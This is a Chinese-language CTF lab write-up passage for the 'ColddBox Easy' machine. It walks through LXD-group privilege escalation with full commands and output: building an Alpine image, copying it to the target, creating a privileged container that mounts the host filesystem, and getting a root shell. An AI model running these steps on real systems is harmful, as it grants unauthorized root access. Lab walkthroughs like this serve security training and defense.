:::info LXC 类似于 Docker ,是 Ubuntu 的容器管理器,如果用户是 LXD 组成员,该组成员可以创建 LXD 容器进行权限提升
:::
按照此实例进行举例:
c0ldd@ColddBox-Easy:/var/www/html$ id
id
uid=1000(c0ldd) gid=1000(c0ldd) grupos=1000(c0ldd),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
我们可以从输出中发现用户是 LXD 组成员,我们可以通过传输容器并挂载整个系统来获取权限
我们从 Github 下载一个容器并传输到目标
┌──(jtz㉿JTZ)-[~/Desktop/Temp/thm/ColddBox_Easy]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42
Receiving objects: 100% (50/50), 3.11 MiB | 3.92 MiB/s, done.
Resolving deltas: 100% (15/15), done.
┌──(jtz㉿JTZ)-[~/Desktop/Temp/thm/ColddBox_Easy]
└─$ cd lxd-alpine-builder/
┌──(jtz㉿JTZ)-[~/Desktop/Temp/thm/ColddBox_Easy/lxd-alpine-builder]
└─$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz build-alpine LICENSE README.md
┌──(jtz㉿JTZ)-[~/Desktop/Temp/thm/ColddBox_Easy/lxd-alpine-builder]
└─$ scp -P 4512 ./alpine-v3.13-x86_64-20210218_0139.tar.gz c0ldd@10.10.6.29:/home/c0ldd/alpine-v3.13-x86_64-20210218_0139.tar.gz
c0ldd@10.10.6.29's password:
alpine-v3.13-x86_64-20210218_0139.tar.gz
然后我们将系统挂载
c0ldd@ColddBox-Easy:~$ ls
alpine-v3.13-x86_64-20210218_0139.tar.gz user.txt
c0ldd@ColddBox-Easy:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
c0ldd@ColddBox-Easy:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPCIÓN | ARQ | TAMAÑO | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+---------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Feb 17, 2023 at 8:14am (UTC) |
+---------+--------------+--------+-------------------------------+--------+---------+------------------------------+
c0ldd@ColddBox-Easy:~$ lxc init myimage ignite -c security.privileged=true
Creando ignite
c0ldd@ColddBox-Easy:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
c0ldd@ColddBox-Easy:~$ lxc start ignite
c0ldd@ColddBox-Easy:~$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)
~ #